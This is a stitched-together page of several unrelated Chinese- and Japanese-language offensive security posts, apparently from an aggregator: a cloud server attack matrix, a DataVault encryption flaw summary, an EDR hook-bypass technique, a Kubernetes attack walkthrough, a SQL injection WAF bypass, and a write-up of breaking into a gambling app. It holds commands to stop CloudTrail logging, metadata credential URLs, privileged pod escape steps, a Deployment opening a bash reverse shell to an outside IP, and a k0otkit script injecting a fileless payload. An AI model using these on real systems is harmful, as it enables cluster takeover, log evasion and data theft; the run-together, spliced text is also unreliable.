但是進行此操作會在CloudTrail控制台或GuardDuty中觸發告警，也可以通過配置禁用多區域日誌記錄功能，並在監控區域外進行攻擊，以AWS CloudTrail為例，攻擊者可以通過如下指令關閉多區域日誌記錄功能：



aws cloudtrail update-trail --name [my-trail] --no-is-multi-region-trail --no-include-global-service-events



監控區域外進行攻擊



雲平台提供的安全監控服務，默認情況下是進行全區域安全監控，但是在一些場景中可能出現一些監控盲區，例如用戶在使用安全監控服務時，關閉了全區域監控，僅開啟部分區域的監控，以AWS CloudTrail為例，可以使用如下指令來查看CloudTrail的監控範圍，並尋找監控外的雲主機進行攻擊以防止觸發安全告警：



aws cloudtrail describe-trails



禁用日誌記錄



與直接關閉安全監控服務相比，攻擊者可以通過禁用平台監控告警日誌的方式進行防禦繞過，並在攻擊流程結束後再次開啟告警日誌。以AWS CloudTrail為例，攻擊者可以通過使用如下指令關閉CloudTrail日誌



aws cloudtrail stop-logging --name [my-trail]



並在攻擊完成後，使用如下指令再次開啟日誌記錄功能：



aws cloudtrail start-logging --name [my-trail]



日誌清理



攻擊者在完成攻擊流程後，可以刪除監控服務日誌以及雲主機上的日誌，以防攻擊行為暴露。



通過代理訪問



大多數雲服務器提供操作日誌記錄功能，將記錄時間、操作內容等。攻擊者可以利用代理服務器來隱藏他們真實IP。



竊取憑證獲取服務器實例登錄憑據



當攻擊者獲取雲服務器實例的控制權後，可以通過一些方式獲取服務器上用戶的登錄憑據，例如使用mimikatz抓取Windows憑證，並將獲取到的這些登錄憑據應用到後續的攻擊流程中。



元數據服務獲取角色臨時憑據



雲服務器為用戶提供了一種每名實例元數據的服務，元數據即表示實例的相關數據，可以用來配置或管理正在運行的實例。用戶可以通過元數據服務在運行中的實例內查看實例的元數據。以AWS舉例，可以在實例內部訪問如下地址來查看所有類別的實例元數據：



http://169.254.169.254/latest/meta-data/



在雲服務器使用過程中，戶可以將角色關聯到雲服務器實例。使用元數據服務可以查詢到此角色名稱以及角色的臨時憑據，以AWS為例，可以通過如下請求獲取角色名稱：



http://169.254.169.254/latest/meta-data/iam/info



在獲取到角色名稱後，可以通過以下鏈接取角色的臨時憑證：



http://169.254.169.254/latest/metadata/iam/security-credentials/rolename



獲取配置文件中的應用憑證



雲服務器應用中的配置文件中可能存儲著一些敏感信息，例如一些應用的訪問憑據或是登錄密碼，攻擊者可以在雲服務器中搜尋這些配置文件，並將其中的敏感數據進行竊取並在後續的攻擊中加以利用。



雲服務憑證洩露



在雲服務器實例中運行應用程序中，往往使用環境變量或是硬編碼的方式明文存儲雲服務憑據，應用程序使用這些憑據調用其他雲上服務的憑據，攻擊者可以通過讀取環境變量中的參數，或是分析應用程序代碼的方式獲取這些憑據，以此獲取其他雲服務的憑據，甚至是雲平台主API密鑰。



用戶賬號數據洩露



在一些場景中，開發者使用對象存儲服務存儲其業務中的用戶數據，例如用戶的姓名、身份證號碼、電話等敏感數據，當然也會包含用戶賬號密碼等憑據信息。



攻擊者通過對存儲桶中用戶數據的提取與分析以竊取這些用戶的憑據數據，並通過獲取的信息進行後續的攻擊。



探測雲資產探測



攻擊者在探測階段，會尋找環境中一切可用的資源，例如實例、存儲以及數據庫服務等。



通常攻擊者可以使用雲平台提供的API或工具來完成雲資產探測，通過發出命令等方法來蒐集基礎設施的信息。以AWS API接口為例，可以使用DescribeInstances接口來查詢賬戶中一個或多個實例的信息，或是使用ListBuckets API接口來查詢目標存儲桶列表信息。



網絡掃描



與傳統的內網掃描類似，攻擊者在此階段也會嘗試發現在其他雲主機上運行的服務，攻擊者使用系統自帶的或上傳至雲服務實例的工具進行端口掃描和漏洞掃描以發現那些容易受到遠程攻擊的服務。此外，如果目標雲環境與非雲環境連同，攻擊者也可能能夠識別在非雲系統上運行的服務。



橫向移動使用實例賬號爆破



當攻擊者在竊取憑據階段，在實例中成功獲取了有效的賬號信息後，攻擊者可以利用這些賬號數據製作賬號字典並嘗試爆破目標的雲資產或非雲資產，並橫向移動到這些資產中。



通過控制台權限橫向移動



當攻擊者獲取了目標控制台權限後，可以通過控制台提供的功能，橫向移動到目標用戶的其他雲資產中。



竊取角色臨時憑據橫向訪問



攻擊者通過實例元數據服務，可以獲取與實例綁定的角色的臨時憑據，攻擊者可以利用獲取的角色臨時憑據，橫向移動到角色權限範圍內的雲資產中。



竊取憑據訪問云服務



通過雲服務器中Web應用程序源代碼的分析，攻擊者可能會從Web應用程序的配置文件中獲取的應用開發者用來調用其他雲上服務的憑據。攻擊者利用獲取到的雲憑據，橫向移動到用戶的其他雲上業務中。如果攻擊者獲取到的憑據為雲平台主API密鑰，攻擊者可以通過此密鑰橫向移動到用戶的其他雲資產中。



竊取用戶賬號攻擊其他應用



攻擊者通過從雲服務器中竊取的用戶賬號數據，用以橫向移動至用戶的其他應用中，包括用戶的非雲上應用。



影響竊取項目源碼



攻擊者通過下載雲服務器中的應用程序源碼，造成源碼洩露事件發生。通過對源碼的分析，攻擊者可以獲取更多的可利用信息。



竊取用戶數據



當用雲服務器中以文件、數據庫或者其他形式保存用戶數據時，攻擊者通過攻擊雲服務器以竊取用戶敏感數據，這些信息可能包含用戶的姓名、證件號碼、電話、賬號信息等，當用戶敏感信息洩露事件發生後，將會造成嚴重的影響。



破壞文件



攻擊者在獲取雲服務器控制權後，可能試圖對雲服務器中的文件進行刪除或者覆蓋，以達到破壞服務的目的。



c



除了刪除以及覆蓋雲服務器文件之外，攻擊者可以對雲服務器中文件進行篡改，通過修改應用程序代碼、文本內容、圖片等對像以達到攻擊效果。在一些場景中，用戶使用雲服務器部署靜態網站，攻擊者通過篡改其中頁面內的文本內容以及圖片，對目標站點造成不良的影響。



植入後門



攻擊者在雲服務器應用中插入惡意代碼，或者在項目目錄中插入後門文件，攻擊者可以利用這些後門發起進一步的攻擊。



加密勒索



在獲取雲服務器控制權後，攻擊者可能會對雲服務器上的文件進行加密處理，從而勒索用戶，向用戶索要贖金。



寫在後面雲服務器作為一個基礎而又重要的雲產品，面臨著眾多的安全挑戰。深入了解雲服務器存在的風險點以及對應的攻擊手段，可以有效的保障用戶在使用雲服務器時的安全性。



在騰訊安全雲鼎實驗室推出《云安全攻防矩阵》 中，用戶可以根據矩陣中所展示的內容，了解當前環境中所面臨的威脅，並以此制定監測手段用以發現風險，詳見騰訊安全雲鼎實驗室攻防組官網：



https://cloudsec.tencent.com/#/home



除《云安全攻防矩阵v1.0》 中已包含的產品外，騰訊安全雲鼎實驗室制定了雲安全攻防矩陣未來發布計劃，以雲產品以及業務為切入點，陸續發布雲數據庫、人工智能、雲物聯網等雲安全攻防矩陣。



 云服务器攻防矩阵.png


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
研究人員發現DataVault軟件中使用的AES-1024可被打破。



研究人員Sylvain Pelissier發現ENC Security開發和被多個硬件設備廠商廣泛使用的DataVault加密軟件中存在安全漏洞，攻擊者利用該漏洞可以獲取用戶的密碼。



DataVault是由ENCSecurity公司開發的一款保護用戶數據的高級加密軟件，據稱可以通過1024位AES加密來為多個系統提供軍事級的數據保護和安全特徵。包括西數、索尼、Lexar雷克沙在內的廠商的USB設備和其他存儲產品中都使用DataVault軟件。近日，安全研究人員Pelissier 逆向DataVault軟件後發現了2個安全漏洞，漏洞CVE編號為CVE-2021-36750 和CVE-2021-36751。



DataVault默認是獨立運行的。研究人員通過逆向發現使用的秘鑰派生函數是PBKDF2，使用了1000輪的MD5來派生加密密鑰。派生密鑰所用的salt是常數，並且是硬編碼在所有的解決方案和產品中的。因此，攻擊者可以通過時間/內存攻擊的方式來猜測用戶設置的密碼，比如彩虹表，還可以用彩虹表來提取使用該軟件的所有用戶的密碼。



使用的數據加密算法也是易被攻擊的，運行攻擊者在不被檢測到的情況下對文件進行惡意修改。數據加密算法中沒有設置數據完整性機制。該軟件的完全版本的設置中允許用戶選擇4種不同的安全等級，AES-128、AES-256、AES-512、AES-1024。研究人員通過逆向發現加密方法是基於使用單個密鑰的AES-128來構造的。加密的多輪會用密鑰派生函數派生的秘鑰作為初始向量來鏈接起來。研究人員經過分析發現這幾種模式最終只提供了128位的安全等級。



相關漏洞已經在DataVault 7.2版本中修復。



更多技術細節參見Pelissier在Remote Chaos Experience (rC3)在線會議上的演講：https://rc3.world/2021/public_fahrplan#3c5f6844-cdc8-5a1a-a342-d93b43546a82


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
為在成熟環境中運行而設計的Post-exploitation工具經常需要繞過在目標上運行的終端檢測和響應(EDR) 軟件。 EDR 經常通過掛鉤Windows API 函數進行操作，尤其是那些由ntdll 導出的函數（特別是基於Nt/Zw*() 系統調用的API 函數）。由於在正常情況下與底層操作系統的所有交互都將通過這些函數，這樣在檢測不需要的應用程序行為時就提供了一個理想的攔截點。



之前MDSec 已經在《绕过用户模式挂钩和直接调用红队的系统调用》 中討論了繞過這些掛鉤的各種方法，但是由於EDR 經常與攻擊者鬥法，因此EDR的檢測技術只有實時更新，以檢測識別用於實現繞過掛鉤的新技術。



在Nighthawk C2的開發過程中，MDSec 偶然發現了一種新的技術，用於識別某些系統調用的Syscall Number，然後可以使用該技術將ntdll 的新副本加載到內存中，從而允許剩餘的系統調用在不觸發任何已安裝的函數掛鉤的情況下成功讀取。該技術涉及濫用新的Windows 10 並行加載程序在進程初始化期間早期生成的某些系統調用的副本。



Windows 10 並行加載程序從Windows 10 開始，微軟引入了並行DLL 加載的概念。並行加載允許進程執行遞歸映射通過進程模塊導入表導入的DLL 的過程，而不是在單個線程上同步，從而在初始應用程序啟動期間提高性能。



當我們試圖理解為什麼在一個簡單的單線程應用程序中會創建三到四個額外的線程時，我們第一次注意到並行加載程序的存在。檢查這些線程可以確定它們是線程池的工作線程。



通過上網搜索其中原委時，有一篇來自2017 年黑莓的Jeffery Tang 的博客文章以及來自用戶RbMm的回答幫助了我，他在提供偽代碼以幫助闡明該過程中涉及的步驟方面也做得非常出色。這兩篇文章清楚地說明了背後的運行原因，如果對進一步了解並行加載程序工作原理有興趣，我推薦這兩篇文章。



在閱讀StackOverflow答案時，有一件事立即引起了我的注意，那就是如果發現有幾個核心低級別本機API被繞過，並行加載程序就會使並行DLL加載短路，並退回到同步模式。這些API參與了從磁盤打開和映射映像的過程。



以下是用戶RbMm的部分答复，我們將在下面進行詳細分析：



 1.png



上面函數LdrpDetectDetour()的偽代碼本質上是檢查5個本機API函數NtOpenFile()， NtCreateSection()， ZwQueryAttributeFile()，ZwOpenSection()和ZwMapViewOfFile()，並確定這些字節是否已經從存儲在ntdll中的LdrpThunkSignature數組中已知的正確字節被修改。



通過對LdrpDetectDetour() 函數的快速反彙編確認上述偽代碼中描述的行為仍然存在，但應該提到的是，該函數現在額外地驗證了另外27個本機API的完整性，但仍然只是比較了詳細的5個函數的精確的系統調用存根。



用IDA Pro 檢查ntdll 發現LdrpDetectDetour() 函數是從兩個地方調用的：LdrpLoadDllInternal()（直接從LdrpLoadDll() 調用）和LdrpEnableParallelLoading()（在LdrpInitializeProcess() 的後期調用）。由於LdrpDetectDetour() 函數配置了一個全局變量，該變量可以停止並行加載並強制進一步加載同步發生，並且許多安裝了detours 的DLL（例如EDR 用戶空間組件）在加載到進程時立即執行此操作，它在加載每個新的DLL 依賴項時重複調用detour 檢測函數是有意義的。



然而，對這一過程的研究又引發了另一個問題，已知的5個本機API函數的已知良好存根從何而來？最初以為系統調用存根將在代碼生成期間的編譯時被硬編碼，但是靜態檢查LdrpThunkSignature 數組表明情況並非如此，因為在映射ntdll 之前數組沒有初始化，原因是數組駐留在未初始化的.data 中部分。



LdrpThunkSignature標識的數據交叉引用了另一個數組的使用,在LdrpCaptureCriticalThunks(),這個函數反過來調用早期LdrpInitializeProcess()之前進口依賴加載，因此第三方模塊安裝的detours 可能已加載到進程中。



快速手動反編譯LdrpCaptureCriticalThunks() 會顯示類似於以下偽代碼的實現：



 2.png



從上面可以清楚地看到，LdrpCaptureCriticalThunks()將五個關鍵函數的每個系統調用存根的前16個字節從每個函數中復製到LdrpThunkSignature數組中。



從LdrpThunkSignature中恢復系統調用具有post-exploitation工具開發經驗的讀者無疑會收穫頗多，有了這五個關鍵函數和它們的Syscall Number（直接從LdrpThunkSignature 讀取）的知識，我們有足夠的本機API 函數能夠使用系統調用從磁盤讀取ntdll 的新副本。



由於LdrpThunkSignature數組不是由ntdll導出的，我們需要在ntdll .data節中找到它。該數組可以通過公共系統調用序言的出現被識別出來：



 3.png



下面的代碼能夠使用這個信息來恢復所需的系統調用（MDSec 提供的用於恢復所有系統調用代碼段）：



 4.png



可以在MDSec ActiveBreach GitHub 存儲庫中找到使用上述方法從磁盤讀取ntdll 來恢復所有系統調用的實現。



這個實現當然是一個PoC，從opsec 的角度來看並不是最優的，例如，系統調用存根是用使用VirtualAlloc() 創建的RWX 內存分配的。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
隨著越來越多企業開始上雲的步伐，在攻防演練中常常碰到雲相關的場景，例如：公有云、私有云、混合雲、虛擬化集群等。以往滲透路徑是「外網突破- 提權- 權限維持- 信息收集- 橫向移動- 循環收集信息」，直到獲得重要目標系統。但隨著業務上雲以及虛擬化技術的引入改變了這種格局，也打開了新的入侵路徑，例如：



l通過虛擬機攻擊雲管理平台，利用管理平台控制所有機器



l通過容器進行逃逸，從而控制宿主機以及橫向滲透到K8s Master節點控制所有容器



l利用KVM-QEMU/執行逃逸獲取宿主機，進入物理網絡橫向移動控制雲平台



目前互聯網上針對雲原生場景下的攻擊手法零零散散的較多，僅有一些廠商發布過相關矩陣技術，但沒有過多的細節展示，本文基於微軟發布的Kubernetes威脅矩陣進行擴展，介紹相關的具體攻擊方法。



 图片1.png



紅色標誌是攻擊者最為關注的技術點。



初始訪問lAPI Server未授權訪問



lkubelet未授權訪問



lDocker Daemon 公網暴露



lK8s configfile 洩露



API Server未授權訪問API Server作為K8s集群的管理入口，通常使用8080 和6443 端口，其中8080 端口無需認證，6443 端口需要認證且有TLS 保護。如果開發者使用8080 端口，並將其暴露在公網上，攻擊者就可以通過該端口的API，直接對集群下髮指令。



另一種場景是運維人員配置不當，將'system:anonymous'用戶綁定到'cluster-admin'用戶組，從而使6443端口允許匿名用戶以管理員權限向集群內部下髮指令。



#查看pods



https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500



#創建特權容器



https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444



{'apiVersion':'v1','kind':'Pod','metadata':{'annotations':{'kubectl.kubernetes.io/last-applied-configuration':'{\'apiVersion\':\'v1\',\'kind\':\'Pod\',\'metadata\':{\'annotations\'33 360{},\'name\':\'test-4444\',\'namespace\':\'default\'},\'spec\':{\'containers\':[{\'image\':\'nginx:1.14.2\',\'name\':\'test-4444\',\'volumeMounts\':[{\'mountPath\':\'/host\',\'n ame\':\'host\'}]}],\'volumes\':[{\'hostPath\':{\'path\':\'/\',\'type\':\'Directory\'},\'name\':\'host\'}]}}\n'},'name':'test-4444','namespace':'default'},'spec':{'containers': [{'image':'nginx:1.14.2','name':'test-4444','volumeMounts':[{'mountPath':'/host','name':'host'}]}],'volumes':[{'hostPath':{'path':'/','type':'Directory'},'name':'host'}]}}



#執行命令



https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami創建特權容器詳細解釋：



 图片2.png



創建特權容器



K8s configfile 洩露K8s configfile作為K8s集群的管理憑證，其中包含有關K8s集群的詳細信息（API Server、登錄憑證）。



如果攻擊者能夠訪問到此文件(如辦公網員工機器入侵、洩露到Github 的代碼等)，就可以直接通過API Server 接管K8s 集群，帶來風險隱患。



用戶憑證保存在kubeconfig 文件中，kubectl 通過以下順序來找到kubeconfig 文件：



1.如果提供了--kubeconfig參數，就使用提供的kubeconfig 文件。



2.如果沒有提供--kubeconfig 參數，但設置了環境變量$KUBECONFIG，則使用該環境變量提供的kubeconfig 文件。



3.如果以上兩種情況都沒有，kubectl 就使用默認的kubeconfig 文件$HOME/.kube/config。



拿到K8s configfile完整利用流程：



K8s configfile -- 創建後門Pod/掛載主機路徑-- 通過Kubectl進入容器-- 利用掛載目錄逃逸。



#Linux安裝kubectl



curl-LO'https://dl.k8s.io/release/$(curl-L-shttps://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl'



sudoinstall-oroot-groot-m0755kubectl/usr/local/bin/kubectl



#內容放入config、或指定選項，需要修改Server地址



kubectl--kubeconfigk8s.yaml



#獲取已接取的鏡像



kubectlgetpods--all-namespaces--insecure-skip-tls-verify=true-ojsonpath='{.image}'|tr-s'[[:space:]]''\n'|sort|uniq-c



#創建Podpod.yaml，將宿主機根目錄掛載host文件



apiVersion:v1



kind:Pod



metadata:



name:test-444



spec:



containers:



-name:test-444



image:nginx:1.14.2



volumeMounts:



-name:host



mountPath:/host



volumes:



-name:host



hostPath:



path:/



type:Directory



#在default命名空間中創建pod



kubectlapply-fpod.yaml-ndefault--insecure-skip-tls-verify=true



#進入容器中



kubectlexec-ittest-444bash-ndefault--insecure-skip-tls-verify=true



#切換bash，逃逸成功



cd/host



chroot./bashDocker Daemon 公網暴露Docker以C/S模式工作，其中docker daemon服務在後台運行，負責管理容器的創建、運行和停止操作。



在Linux主機上，docker daemon監聽在/var/run/docker.sock中創建的unix socket，2375端口用於未認證的HTTP通信，2376用於可信HTTPS通信。



在最初版本安裝Docker時默認會把2375端口對外開放，目前默認只允許本地訪問。



管理員開啟遠程訪問的配置如下：



#開啟遠程訪問



vim/lib/systemd/system/docker.service



ExecStart=/usr/bin/dockerd-Hfd://-Htcp://0.0.0.0:2375-containerd=/run/containerd/containerd.sockDocker Daemon未授權訪問的檢測與利用：



#探測是否訪問未授權訪問



curlhttp://192.168.238.129:2375/info



docker-Htcp://192.168.238.129:2375info



#推薦使用這種方式，操作方便。



exportDOCKER_HOST='tcp://192.168.238.129:2375'Docker Daemon未授權實戰案例：



 图片3.png



執行l利用Service Account



nCURL方式請求



nkubectl方式請求



利用Service AccountK8s集群創建的Pod中，容器內部默認攜帶K8s Service Account的認證憑據，路徑為：(/run/secrets/kubernetes.io/serviceaccount/token)



如運維配置不當沒有設置RBAC（基於角色的訪問控制）,那麼攻擊者就可以通過Pod獲取到Token進行API Server認證。



在較低版本v1.15.11中,Kubernetes默認是不會開啟RBAC控制，從1.16版本起，默認啟用RBAC訪問控制策略。從1.18開始，RBAC已作為穩定的功能。



下面就是利用Pod中的Token訪問API Server的一種場景：



#指向內部API服務器主機名



exportAPISERVER=https://${KUBERNETES_SERVICE_HOST}



#設置ServiceAccount令牌的路徑



exportSERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount



#讀取pods命名空間並將其設置為變量。



exportNAMESPACE=$(cat${SERVICEACCOUNT}/namespace)



#讀取ServiceAccount不記名令牌



exportTOKEN=$(cat${SERVICEACCOUNT}/token)



#CACERT路徑



exportCACERT=${SERVICEACCOUNT}/ca.crt



執行以下命令查看當前集群中所有Namespaces。



curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespaces



#寫入yaml,創建特權Pod



catnginx-pod.yamlEOF



apiVersion:v1



kind:Pod



metadata:



name:test-444



spec:



containers:



-name:test-444



image:nginx:1.14.2



volumeMounts:



-name:host



mountPath:/host



volumes:



-name:host



hostPath:



path:/



type:Directory



EOF



#創建pod



curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-k${APISERVER}/api/v1/namespaces/default/pods-XPOST--header'content-type:application/yaml'--data-binary@nginx-pod.yaml



#查看信息



curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespaces/default/pods/nginx



#執行命令



curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=lscommand=-l



or



api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=lscommand=-lcontainer=nginxstdin=truestdout=truetty=true持久化lDaemonSets、Deployments



lShadow API



lRootkit



lcronjob持久化



Deployment創建容器時，通過啟用DaemonSets、Deployments，可以使容器和子容器即使被清理掉了也可以恢復，攻擊者經常利用這個特性進行持久化，涉及的概念有：



lReplicationController（RC）



ReplicationController確保在任何時候都有特定數量的Pod 副本處於運行狀態。



lReplication Set（RS）



Replication Set簡稱RS，官方已經推薦我們使用RS和Deployment來代替RC了，實際上RS和RC的功能基本一致，目前唯一的一個區別就是RC只支持基於等式的selector



lDeployment



主要職責和RC一樣，的都是保證Pod的數量和健康，二者大部分功能都是完全一致的，可以看成是一個升級版的RC控制器



官方組件kube-dns、kube-proxy也都是使用的Deployment來管理



這裡使用Deployment來部署後門



#dep.yaml



apiVersion:apps/v1



kind:Deployment#確保在任何時候都有特定數量的Pod副本處於運行狀態



metadata:



name:nginx-deploy



labels:



k8s-app:nginx-demo



spec:



replicas:3#指定Pod副本數量



selector:



matchLabels:



app:nginx



template:



metadata:



labels:



app:nginx



spec:



hostNetwork:true



hostPID:true



containers:



-name:nginx



image:nginx:1.7.9



imagePullPolicy:IfNotPresent



command:['bash']#反彈Shell



args:['-c','bash-i/dev/tcp/192.168.238.130/424201']



securityContext:



privileged:true#特權模式



volumeMounts:



-mountPath:/host



name:host-root



volumes:



-name:host-root



hostPath:



path:/



type:Directory



#創建



kubectlcreate-fdep.yamlShadow API Server如果部署了一個shadow apiserver，那麼該apiserver具有和集群中現在的apiserver一致的功能。同時開啟了全部k8s權限，接受匿名請求且不保存審計日誌，這將方便攻擊者無痕蹟的管理整個集群以及進行後續滲透行動。



Shadow API Server的配置與利用：



配置文件路徑：



/etc/systemd/system/kube-apiserver-test.service



#一鍵部署Shadowapiserver



./cdkrunk8s-shadow-apiserverdefault



#一鍵部署將在配置文件中添加瞭如下選項：



--allow-privileged



--insecure-port=9443



--insecure-bind-address=0.0.0.0



--secure-port=9444



--anonymous-auth=true



--authorization-mode=AlwaysAllow



#kcurl訪問與利用



./cdkkcurlanonymousgethttps://192.168.1.44:9443/api/v1/secretsRootkit這裡介紹一個k8s的rootkit，k0otkit 是一種通用的後滲透技術，可用於對Kubernetes 集群的滲透。使用k0otkit，您可以以快速、隱蔽和連續的方式（反向shell）操作目標Kubernetes 集群中的所有節點。



K0otkit使用到的技術：



lDaemonSet和Secret資源（快速持續反彈、資源分離）



lkube-proxy鏡像（就地取材）



l動態容器注入（高隱蔽性）



lMeterpreter（流量加密）



l無文件攻擊（高隱蔽性）



#生成k0otkit



./pre_exp.sh



#監聽



./handle_multi_reverse_shell.sh



k0otkit.sh的內容複製到master執行：



volume_name=cache



mount_path=/var/kube-proxy-cache



ctr_name=kube-proxy-cache



binary_file=/usr/local/bin/kube-proxy-cache



payload_name=cache



secret_name=proxy-cache



secret_data_name=content



ctr_line_num=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|awk'/containers:/{printNR}')



volume_line_num=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|awk'/volumes:/{printNR}')



image=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|grep'image:'|awk'{print$2}')



#createpayloadsecret



catEOF|kubectl--kubeconfig/root/.kube/configapply-f-



apiVersion:v1



kind:Secret



metadata:



name:$secret_name



namespace:kube-system



type:Opaque



data:



$secret_data_name:N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA.



#injectmaliciouscontainerintokube-proxypod



kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml\



|sed'$volume_line_numa\\\\\\-name:$volume_name\nhostPath:\npath:/\ntype:Directory\n'\



|sed'$ctr_line_numa\\\\\\-name:$ctr_name\nimage:$image\nimagePullPolicy:IfNotPresent\ncommand:[\'sh\']\nargs:[\'-c\',\'echo\$$payload_name|perl-e'my\$n=qq();my\$fd=syscall(319,\$n,1);open(\$FH,qq(=).\$fd);sele ct((select(\$FH),\$|=1)[0]);print\$FHpackq/H*/,my\$pid=fork();if(0!=\$pid){wait};if(0==\$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\']\nenv:\n-name:$payload_name\nvalueFrom:\nsecretKeyRef:\nname:$secret_name\n


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
一些朋友在群里经常遇到sql注入的问题，有时候有waf、有时候是盲注、有时候不知道如何下手? 今天分享一款工具，名字是超级注入工具


下载地址： https://github.com/shack2/SuperSQLInjectionV1


案例1:  带waf的盲注


bn1pbf51vve14839.png


如下图，单引号报错，而且有报错回显，这种情况利用就是典型的布尔盲注，只要我们能在后面构造一个 and 1=1 或者 or 1=1这种语句，就能出数据


le40atl543a14842.png


这里是mysql的数据库，通常借助if函数来布尔注入，waf通常不拦单个if()，但会拦if(1,1,1)这种，如果拦了，可以把1替换成11-10，2替换成12-10这种


lnqmkwreo0n14843.png


 


 


 ltc1zpnijl014844.png


然后，超级注入工具一把梭就行了，


q21cx0rq5k414847.png


绕过waf正则就下面这种，比较简单


 


 chye2iywk0w14848.png


案例2:


  案例1构造的and是为了超级注入工具去识别页面返回的内容，去判断出 1=1正确的页面字段和1=2错误页面的字段，正常工具是识别不到注入点的，所以你要指定字段，给工具一个布尔注入的依据！


再来看一个例子，希望你能理解我的意思，，


如下图，还是mysql，成功构造出一个if


4hhmflybpiz14853.png


 


 ycokfkwuvyq14855.png


报文贴入超级注入工具，这款工具测试盲注只会测试1=1和1=2,所以，在if的第一个位置设置payload，看右下角的框，已经识别到正确页面的回显值，那后面，数据就出来了！


4etusy13yfh14860.png


案例3: 


这里提供一个mssql类型的，


也就是Sql-server，站点存在waf,测试oR 1=1 和 1=2这种不拦截，利用1=1这里构造下数据包，sql注入工具就能识别到布尔值了，


4obgzzvtj4k14863.png


后面就无脑出数据了，


gjo5mcjpy5t14866.png


 


 


原文连接：https://mp.weixin.qq.com/s/jrv1ZLjZ3IbtloRCXWDo-Q




		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
0x01準備ツールこの浸透は、主にAndroidアプリを対象としています。ほうれん草アプリのバックエンドサーバーは海外であり、プラットフォームには多くの違法なギャンブル関連のミニギャンブルゲームが含まれています。



 图片



1. Thunderbolt Androidエミュレーター。ギャンブルWebサイトのインストールプログラムを実行するために使用されます。



2。パケットキャプチャツールフィドラー（またはバープスーツ、ワイレシャーク）を使用して、トラフィックパケットをキャッチしてウェブサイトのバックエンドサーバーアドレスを見つけます。



3。Sublist3r、中国のアリの剣、その他の従来の浸透ツール。



0x02情報収集1。サーバーアドレスを見つけます。ネットワークほうれん草アプリのサーバーアドレスのトラフィックパケットキャプチャ分析。 Fiddlerを使用してAndroidエミュレータートラフィックをつかみ、分析を通じてアプリバックエンドWebサイトアドレスを取得します：http://****。com。また、BPまたはWiresharkツールを使用してパッケージをキャッチすることもできます。また、多くのオンラインチュートリアルがあります。



 图片



ドメイン名「****。com」はパケットキャプチャにあり、ターゲットサーバーIPアドレスが見つかりました：x.x.x.x.x.



 图片



2。サブドメイン名を取得します。



sublist3r.pyを使用してドメイン名を収集します。



python sublist3r.py -d xxx.com -o 1.txtいくつかのサブドメインが見つかりましたが、テストではブレークスルーは見つかりませんでした



0x03浸透プロセス1。HTML5ページを登録してログインして検出します。アプリページに登録してログインし、アドレスをクロールし、クロールをアドレスに持ち込み、ブラウザにログインします。アプリページは純粋なHTML5ページであることがわかりました。これにより、ブラウザで動作する方が便利です。



 图片



2。フロントデスクアカウントの注入は失敗しました。テスト番号を使用して登録し、パッケージをつかんでパッケージを変更します。注入点を見つけますが、注入は失敗しました。



 图片



3.登録されたユーザーにログインして、アップロードの脆弱性を見つけます。ユーザーブラウジング機能には、個人センターにIDレビュー機能があります。ユーザー情報を確認するには、ID情報をアップロードする必要があります。このアップロード関数は、トロイの木馬のアップロードポイントを隠すことができると推測されます。



 图片



4.ファズテストをアップロードした後、バックエンドプログラムはMIMEおよびファイルヘッダーのコンテンツのみを検証します。ファイルタイプのバイパスメソッドを変更し、Picture Horseを直接アップロードしてMIMEタイプを変更し、それを正常にアップロードしてシェルアドレスを取得します。



 图片



5.「中国のアリの剣」を使用して、トロイの木馬に正常に接続し、サーバーWebサイトのソースコードでデータベース構成ファイルを分析して見つけ、データベースに正常に接続することです。



 图片



6.チャイニーズアリの剣を使用してデータベースに正常に接続し、アカウントとパスワードのハッシュ値を取得します。



 图片



7.ファイルディレクトリ構造分析を介して、背景は単一のエントリファイルであり、パラメーターs=管理者は背景に正常にジャンプし、データベースを介してバックエンドアカウントのハッシュ値を復号化し、バックグラウンドに正常にログインします。



 图片



管理者のバックエンド許可を取得することにより、同じ日にウェブサイト上の登録ユーザーの数を把握でき、ギャンブルのオッズの数は86でしたが、資本の流れは542,000元でした。管理者ログインログの観点から、メインのログインIPはフィリピン、香港、広州、ベトナムおよびその他の場所で配布されています。



 图片



ユーザーログインログレコードとデータには、ユーザーのID、ログインIP、携帯電話番号、ログイン時間、その他の情報が含まれます。



 图片



ユーザーベットの記録、データにはメンバーID、賭け金額、累積レベルギフトなどが含まれます。



 图片



0x04ホール掘削方法の概要1。注入を見つけて、データベースユーザーの権限とサイトライブラリが同じサーバーであるかどうかに注意してください。



2。さらなる攻撃のためにバックグラウンドを入力する目的でXSSを見つけます。



3.アップロード、アプリケーションリンク、メンバーアバター、いくつかの機密ページなど、アップロードできるページを見つけて、検証方法をバイパスできるかどうかを確認し、サーバーの解析特性と組み合わせることができるかどうかを確認します。



